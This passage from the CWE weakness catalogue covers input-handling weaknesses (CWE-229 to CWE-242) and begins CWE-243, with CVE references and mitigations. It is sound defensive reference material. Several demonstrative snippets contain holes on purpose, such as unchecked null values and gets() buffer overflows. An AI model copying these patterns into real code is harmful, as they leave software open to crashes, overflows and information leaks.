ChildOf	C	228	Improper Handling of Syntactically Invalid Structure	519
ParentOf	V	230	Improper Handling of Missing Values	521
ParentOf	V	231	Improper Handling of Extra Values	523
ParentOf	V	232	Improper Handling of Undefined Values	524

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

CWE-230: Improper Handling of Missing Values

Weakness ID : 230 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	229	Improper Handling of Values	521

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

This application has registered to handle a URL when sent an intent:

Example Language: Java *(bad)*

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
        ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Observed Examples

Reference	Description
CVE-2002-0422	Blank Host header triggers resultant infoleak. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0422*
CVE-2000-1006	Blank "charset" attribute in MIME header triggers crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1006*
CVE-2004-1504	Blank parameter causes external error infoleak. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1504*
CVE-2005-2053	Blank parameter causes external error infoleak. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2053*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Notes

Research Gap

Some "crash by port scan" bugs are probably due to this, but lack of diagnosis makes it difficult to be certain.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Value Error
The CERT Oracle Secure Coding Standard for Java (2011)	ERR08-J		Do not catch NullPointerException or any of its ancestors

CWE-231: Improper Handling of Extra Values

Weakness ID : 231 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not handle or incorrectly handles when more values are provided than expected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	229	Improper Handling of Values	521
CanPrecede	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Notes

Relationship

This can overlap buffer overflows.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Extra Value Error

CWE-232: Improper Handling of Undefined Values

Weakness ID : 232 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	229	Improper Handling of Values	521

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

In this example, an address parameter is read and trimmed of whitespace.

Example Language: Java *(bad)*

```
String address = request.getParameter("address");
address = address.trim();
String updateString = "UPDATE shippingInfo SET address='?' WHERE email='cwe@example.com'";
emailAddress = con.prepareStatement(updateString);
emailAddress.setString(1, address);
```

If the value of the address parameter is null (undefined), the servlet will throw a NullPointerException when the trim() is attempted.

Observed Examples

Reference	Description
CVE-2000-1003	Client crash when server returns unknown driver type. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1003*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Undefined Value Error
The CERT Oracle Secure Coding Standard for Java (2011)	ERR08-J		Do not catch NullPointerException or any of its ancestors

CWE-233: Improper Handling of Parameters

Weakness ID : 233 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	228	Improper Handling of Syntactically Invalid Structure	519
ParentOf	V	234	Failure to Handle Missing Parameter	526
ParentOf	V	235	Improper Handling of Extra Parameters	529
ParentOf	V	236	Improper Handling of Undefined Parameters	530

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

This application has registered to handle a URL when sent an intent:

Example Language: Java *(bad)*

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
        ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Parameter Problems

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
39	Manipulating Opaque Client-based Data Tokens

CWE-234: Failure to Handle Missing Parameter

Weakness ID : 234 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	233	Improper Handling of Parameters	525

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Gain Privileges or Assume Identity *There is the potential for arbitrary code execution with privileges of the vulnerable program if function parameter list is exhausted.*	
Availability	DoS: Crash, Exit, or Restart *Potentially a program could fail if it needs more arguments then are available.*	

Potential Mitigations

Phase: Build and Compilation

This issue can be simply combated with the use of proper build process.

Phase: Implementation

Forward declare all functions. This is the recommended solution. Properly forward declaration of all used functions will result in a compiler error if too few arguments are sent to a function.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
foo_funct(one, two);
void foo_funct(int one, int two, int three) {
    printf("1) %d\n2) %d\n3) %d\n", one, two, three);
}
```

Example Language: C *(bad)*

```
void some_function(int foo, ...) {
    int a[3], i;
    va_list ap;
    va_start(ap, foo);
    for (i = 0; i < sizeof(a) / sizeof(int); i++) a[i] = va_arg(ap, int);
    va_end(ap);
}
int main(int argc, char *argv[]) {
    some_function(17, 42);
}
```

This can be exploited to disclose information with no work whatsoever. In fact, each time this function is run, it will print out the next 4 bytes on the stack after the two numbers sent to it.

Observed Examples

Reference	Description
CVE-2004-0276	Server earlier allows remote attackers to cause a denial of service (crash) via an HTTP request with a sequence of "%" characters and a missing Host field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0276*
CVE-2002-1488	Chat client allows remote malicious IRC servers to cause a denial of service (crash) via a PART message with (1) a missing channel or (2) a channel that the user is not in. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1488*
CVE-2002-1169	Proxy allows remote attackers to cause a denial of service (crash) via an HTTP request to helpout.exe with a missing HTTP version numbers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1169*
CVE-2000-0521	Web server allows disclosure of CGI source code via an HTTP request without the version number. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0521*
CVE-2001-0590	Application server allows a remote attacker to read the source code to arbitrary 'jsp' files via a malformed URL request which does not end with an HTTP protocol specification. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0590*
CVE-2003-0239	Chat software allows remote attackers to cause a denial of service via malformed GIF89a headers that do not contain a GCT (Global Color Table) or an LCT (Local Color Table) after an Image Descriptor. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0239*
CVE-2002-1023	Server allows remote attackers to cause a denial of service (crash) via an HTTP GET request without a URI. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1023*
CVE-2002-1236	CGI crashes when called without any arguments. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1236*
CVE-2003-0422	CGI crashes when called without any arguments. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0422*
CVE-2002-1531	Crash in HTTP request without a Content-Length field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1531*
CVE-2002-1077	Crash in HTTP request without a Content-Length field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1077*
CVE-2002-1358	Empty elements/strings in protocol test suite affect many SSH2 servers/clients. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1358*
CVE-2003-0477	FTP server crashes in PORT command without an argument. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0477*
CVE-2002-0107	Resultant infoleak in web server via GET requests without HTTP/1.0 version string. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0107*
CVE-2002-0596	GET request with empty parameter leads to error message infoleak (path disclosure). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0596*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Notes

Maintenance

This entry will be deprecated in a future version of CWE. The term "missing parameter" was used in both PLOVER and CLASP, with completely different meanings. However, data from both taxonomies was merged into this entry. In PLOVER, it was meant to cover malformed inputs that do not contain required parameters, such as a missing parameter in a CGI request. This entry's observed examples and classification came from PLOVER. However, the description, demonstrative example, and other information are derived from CLASP. They are related to an incorrect number of function arguments, which is already covered by CWE-685.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Parameter Error
CLASP			Missing parameter

CWE-235: Improper Handling of Extra Parameters

Weakness ID : 235 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	233	Improper Handling of Parameters	525

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Observed Examples

Reference	Description
CVE-2003-1014	MIE. multiple gateway/security products allow restriction bypass using multiple MIME fields with the same name, which are interpreted differently by clients. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1014*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Notes

Relationship

This type of problem has a big role in multiple interpretation vulnerabilities and various HTTP attacks.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Extra Parameter Error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
460	HTTP Parameter Pollution (HPP)

CWE-236: Improper Handling of Undefined Parameters

Weakness ID : 236 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not handle or incorrectly handles when a particular parameter, field, or argument name is not defined or supported by the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	233	Improper Handling of Parameters	525

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Observed Examples

Reference	Description
CVE-2002-1488	Crash in IRC client via PART message from a channel the user is not in. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1488*
CVE-2001-0650	Router crash or bad route modification using BGP updates with invalid transitive attribute. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0650*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Undefined Parameter Error

CWE-237: Improper Handling of Structural Elements

Weakness ID : 237 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not handle or incorrectly handles inputs that are related to complex structures.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	228	Improper Handling of Syntactically Invalid Structure	519
ParentOf	V	238	Improper Handling of Incomplete Structural Elements	531
ParentOf	V	239	Failure to Handle Incomplete Element	532
ParentOf	B	240	Improper Handling of Inconsistent Structural Elements	533

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Element Problems

CWE-238: Improper Handling of Incomplete Structural Elements

Weakness ID : 238 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not handle or incorrectly handles when a particular structural element is not completely specified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	237	Improper Handling of Structural Elements	531

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Notes

Relationship

Can be primary to other problems.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Element Error

CWE-239: Failure to Handle Incomplete Element

Weakness ID : 239 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not properly handle when a particular element is not completely specified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	237	Improper Handling of Structural Elements	531
PeerOf	C	404	Improper Resource Shutdown or Release	877

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State	

Observed Examples

Reference	Description
CVE-2002-1532	HTTP GET without \r\n\r\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1532*
CVE-2003-0195	Partial request is not timed out. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0195*
CVE-2005-2526	MFV. CPU exhaustion in printer via partial printing request then early termination of connection. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2526*
CVE-2002-1906	CPU consumption by sending incomplete HTTP requests and leaving the connections open. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1906*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Element

CWE-240: Improper Handling of Inconsistent Structural Elements

Weakness ID : 240 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not handle or incorrectly handles when two or more structural elements should be consistent, but are not.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1362
ChildOf	B	237	Improper Handling of Structural Elements	531
ParentOf	B	130	Improper Handling of Length Parameter Inconsistency	321

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Inconsistent Elements

CWE-241: Improper Handling of Unexpected Data Type

Weakness ID : 241 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not handle or incorrectly handles when a particular element is not the expected type, e.g. it expects a digit (0-9) but is provided with a letter (A-Z).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	228	Improper Handling of Syntactically Invalid Structure	519

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	

Scope	Impact	Likelihood
Other	Unexpected State	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-1999-1156	FTP server crash via PORT command with non-numeric character. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1156*
CVE-2004-0270	Anti-virus product has assert error when line length is non-numeric. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0270*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Notes

Research Gap

Probably under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Wrong Data Type

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO37-C	CWE More Abstract	Do not assume that fgets() or fgetws() returns a nonempty string when successful

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
48	Passing Local Filenames to Functions That Expect a URL

CWE-242: Use of Inherently Dangerous Function

Weakness ID : 242 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The program calls a function that can never be guaranteed to work safely.

Extended Description

Certain functions behave in dangerous ways regardless of how they are used. Functions in this category were often implemented without taking security concerns into account. The gets() function is unsafe because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to gets() and overflow the destination buffer. Similarly, the >> operator is unsafe to use when reading into a statically-allocated character array because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to the >> operator and overflow the destination buffer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1177	Use of Prohibited Code	1725

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2019

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Phase: Requirements

Ban the use of dangerous functions. Use their safe equivalent.

Phase: Testing

Use grep or static analysis tools to spot usage of dangerous functions.

Demonstrative Examples

Example 1:

The code below calls gets() to read information into a buffer.

Example Language: C *(bad)*

```
char buf[BUFSIZE];
gets(buf);
```

The gets() function in C is inherently unsafe.

Example 2:

The code below calls the gets() function to read in data from the command line.

Example Language: C *(bad)*

```
    char buf[24];
    printf("Please enter your name and press <Enter>\n");
    gets(buf);
    ...
}
```

However, the programmer uses the function gets() which is inherently unsafe because it blindly copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	1853
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	1891
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959
MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2003

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Dangerous Functions
CERT C Secure Coding	POS33-C	CWE More Abstract	Do not use vfork()
Software Fault Patterns	SFP3		Use of an improper API

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-194]Herbert Schildt. "Herb Schildt's C++ Programming Cookbook". 2008 April 8. McGraw-Hill Osborne Media.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-243: Creation of chroot Jail Without Changing Working Directory

Weakness ID : 243 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.

Extended Description

Improper use of chroot() may allow attackers to escape from the chroot jail. The chroot() function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after chroot() has been called.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1153
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	1970

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Operating_System : Unix *(Prevalence = Undetermined)*

Background Details

